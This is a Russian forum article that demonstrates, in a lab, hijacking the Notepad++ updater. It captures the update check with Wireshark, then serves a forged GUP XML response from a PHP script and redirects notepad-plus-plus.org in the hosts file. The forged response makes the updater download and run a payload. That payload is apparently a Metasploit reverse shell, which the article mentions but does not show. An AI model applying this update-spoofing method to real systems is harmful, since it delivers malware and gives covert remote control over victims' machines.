Привет, codeby.net
В данной статье я хочу поговорить о теме которая меня давно интересует, а именно фейковое обновлении ПО. Мне вообще интересна тема
Ссылка скрыта от гостей
а в частности как проводить атаки внутри сети. Одним из векторов атаки является то самое фейковое обновление ПО. Примерно год назад мне попалась на глаза программа evilgrade, сразу загорелся желанием разобраться как она работает. Попробовал разобрать с наскоку но что то пошло не так и я забил Сегодня я сново вернулся к этой теме и в этот раз я добился результат.Оговорю сразу, я не даю вам четкие инструкции как вам провести данную атаку или написать код чтобы автоматизировать процесс, я опишу методологию того как это происходит и покажу пример который наглядно покажет о чем идет речь. Суть данного материала показать как работает данная атака на примитивном уровне. Давайте выйдем за рамки скрипт-кидди и повысим свой уровень знаний в данной области Бездумно использовать готовый софт могут все, а понять как он работает далеко не многие.
Теория:
Прежде чем углубиться в атаку давайте разберем механизм обновление ПО.
Этапы обновление ПО:
- Отправляем на сервер запрос для проверки обновления (это может делать как сама программа в автоматическом режиме так и выполнен запрос в ручную)
- Получаем ответ от сервера
- Обработка ответа (если обновление есть то устанавливаем если нет то сообщаем о том что программа не имеет обновлений)
Этапы проведения атаки:
- Определить запрос отправленный на сервер обновления
- Посмотреть ответ который прислала сервер
- Понимаем свой сервер
- Реализовать атаку типа
Ссылка скрыта от гостейна адрес сервера обновлений
- Сформировать свой ответ на основе полученного ответа в пункте 2
Ссылка скрыта от гостей
, она идеально подойдет для того чтобы наглядно показать данный вектор атаки.Практика:
Для того чтобы мы могли выполнить все этапы атаки нам понадобиться следующие программы:
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
-
Ссылка скрыта от гостей
?
нажимаем на него в выпадающем меню выбираем “Обновить Notepad++”.Появляется окно которое нам предлагает скачать обновление. Это нам как раз и надо.
Нажимаем отмена, открываем Wireshark. Выбираем сетевой адаптер (тут мог выразиться не точно).
Выставляем фильтр
HTTP
. Повторяем процесс запроса но обновления ждем пару секунд останавливаем Wireshark. И начинаем смотреть перехваченные пакеты. В поле info
мы можем заметить что есть GET
запрос с URL
который начинается на update
.Просмотров данный запрос более детально мы видим
Full request
который ведет на URL notepad-plus-plus.org
. Чтобы убедиться что это то что нам надо давайте перейдем на полный URL
Ссылка скрыта от гостей
. В ответ мы получим XML
который говорит нам о том что есть новое обновление.
XML:
<GUP>
<NeedToBeUpdated>yes</NeedToBeUpdated>
<Version>7.5.9</Version>
<Location>http://notepad-plus-plus.org/repository/7.x/7.5.9/npp.7.5.9.Installer.exe</Location>
</GUP>
На этом этапе у нас есть мы нашли интересующий нас запрос и узнали какой требуются ответ чтобы его распознала программа. На этом сбор данных закончен приступим к атаке. Так как тест проводиться в лабораторных условия я некоторые моменты упростил а именно
Ссылка скрыта от гостей
и поднятие сервера в локальной сети. Третий и четвертый пункт будут проводиться на атакуемой машине но это не столь важно так как не вредит чистоте теста.Устанавливаем XAMPP. Включаем Apache.
Переходим в каталог где лежит сайт по умолчанию
C:\xampp\htdocs
. Создаем там две директории update
и repository
. Каталог update
обязателен так как он есть в URL
который запрашивает обновление там будет лежать файл getDownloadUrl.php
. Директория repository не обязателен так как мы сами указываем откуда загружаться payload
в XML
который будем отдавать в ответ на запрос но для красоты и порядка положим именно туда нашу пользовательскую нагрузку Переходим в каталог update и создаем файл
getDownloadUrl.php
со следующим содержанием.
PHP:
<?php
header('Content-type: text/xml');
$xml = <<<XML
<GUP>
<NeedToBeUpdated>yes</NeedToBeUpdated>
<Version>7.5.9</Version>
<Location>http://notepad-plus-plus.org/repository/payload.exe</Location>
</GUP>
XML;
echo $xml;
Данный код выводит все тот же XML который мы получили ранения с одним изменением. В тэг
Location
мы установили свой путь к файлу с payload
который находиться в директории repository
. Payload
я создал на Kali. Пример как это делать можно посмотреть в статье [Metasploit] устанавливаем обратное TCP соединение через ngrok. После того как вы получили exe файл положите его в каталог repository
.Теперь давайте перейдем по адресу
Ссылка скрыта от гостей
и убедимся что там лежит на payload
файла.А также проверим отдается ли наш сконфигурированный XML по адресу
Ссылка скрыта от гостей
.Если у вас все сходиться с примерами на скриншотах тогда вы делаете все правильно. Осталось совсем немного) а именно надо заставить идти запросы на наш сервер. Тут мы можем прибегнуть к
Ссылка скрыта от гостей
но как я говорил ранее мы упростим данный шаг. Идем в каталог etc который находиться по пути C:\Windows\System32\drivers\etc
и добавляем в конец файл hosts
127.0.0.1 notepad-plus-plus.org
. Тем самым мы говорим нашей системе чтобы все запросы которые идут на notepad-plus-plus.org
шли на locolhost
. На этом подготовка закончена осталось проверить.Идем в Notepad++ запускаем проверку обновления. Соглашаемся скачать обновления. После того как обновление скачается появиться еще одно окно.
Соглашаемся. Notepad++ закроется а наш
payload
выполниться. Вот мы и получили контроль над машиной в локальной сети незаметно для атакуемого пользователя.Я надеюсь что статья была полезной и вы вынесли для себя что то новое. Данный вид атаки сработает далеко не со всеми программами. Но с какой то частью точно. Как поступить с полученными знаниями зависит только от вас
Последнее редактирование: